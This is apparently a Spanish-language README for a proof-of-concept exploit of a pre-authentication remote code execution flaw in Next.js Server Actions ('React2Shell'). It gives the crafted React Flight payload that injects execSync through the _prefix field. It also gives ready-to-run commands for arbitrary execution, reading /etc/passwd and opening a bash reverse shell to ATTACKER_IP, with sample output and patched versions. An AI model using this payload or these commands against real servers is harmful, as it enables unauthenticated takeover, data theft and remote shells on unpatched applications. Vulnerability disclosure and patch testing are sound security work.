CVE-2025-55182 / CVE-2025-66478 (React2Shell) - Prueba de Concepto (PoC) de Ejecución Remota de Código (RCE) en Next.js

Vulnerabilidad crítica en las Server Actions de Next.js que permite Ejecución Remota de Código sin autenticación a través de la deserialización del Protocolo React Flight

Descripción general

Este repositorio contiene una Prueba de Concepto (PoC) para la vulnerabilidad crítica RCE que afecta a aplicaciones Next.js que utilizan Server Actions (React Server Functions).

Descripción de la vulnerabilidad

La vulnerabilidad existe en cómo el Protocolo React Flight deserializa fragmentos durante el procesamiento de Server Actions. Un atacante puede explotar la contaminación de prototipos mediante datos de formulario manipulados para:

1. Acceder al constructor Function a través de la cadena de prototipos (__proto__)
2. Ejecutar código JavaScript arbitrario en el servidor
3. Lograr Ejecución Remota de Código completa sin autenticación

Esto ocurre antes de cualquier validación de la server action, lo que lo hace explotable en cualquier aplicación Next.js que tenga Server Actions habilitadas.

Aplicaciones afectadas

Cualquier aplicación Next.js es vulnerable si:

• Utiliza Server Actions (por defecto en App Router)
• Ejecuta Next.js 15.x o 16.x (o 14.3.0-canary.77+)
• No tiene mitigaciones específicas implementadas

Uso

Requisitos

pip install requests

Ejecutar el PoC

python3 poc.py <TARGET_URL> "<COMMAND>"

Ejemplos

# Test command execution
python3 poc.py http://localhost:3000 "id"

# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"

# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Salida de ejemplo

$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

La salida del comando aparece en el campo digest.

Detalles técnicos

El exploit aprovecha el mecanismo de resolución de fragmentos del Protocolo React Flight:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Cadena de ataque:

1. Recorrido de prototipos a través de $1:__proto__:then
2. Acceso al constructor Function a través de $1:constructor:constructor
3. Inyección de código arbitrario a través del campo _prefix
4. El código se ejecuta durante la deserialización (pre-autenticación)

Mitigación

Actualice inmediatamente:

npm install next@latest
# or
pnpm update next

Versiones parcheadas: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Nota: Next.js 14.x estable y 13.x NO son vulnerables.

Aviso legal

⚠️ Este PoC es solo para fines educativos y pruebas de seguridad autorizadas.

El acceso no autorizado a sistemas informáticos es ilegal. Solo use esta herramienta en sistemas que posea o para los que tenga permiso explícito para probar. Los autores no se responsabilizan por cualquier uso indebido.

Créditos

Basado en la investigación original de @msanft. Todo el crédito por el descubrimiento de la vulnerabilidad y el PoC inicial les pertenece.

Referencias

• Investigación original de CVE-2025-55182
• Aviso oficial de Next.js sobre el CVE
• Análisis de Wiz Research - React2Shell
• React Flight Protocol
• NIST NVD - CVE-2025-55182

Palabras clave

Ejecución Remota de Código en Next.js, Vulnerabilidad en Next.js, CVE-2025-55182, CVE-2025-66478, React2Shell, Exploit de React Server Components, RCE en Server Actions de Next.js, Contaminación de prototipos en Next.js, Vulnerabilidad del Protocolo React Flight, Seguridad en Next.js, Ejecución remota de código en Next.js, PoC de exploit en Next.js, Vulnerabilidad en Server Actions, RCE en React RSC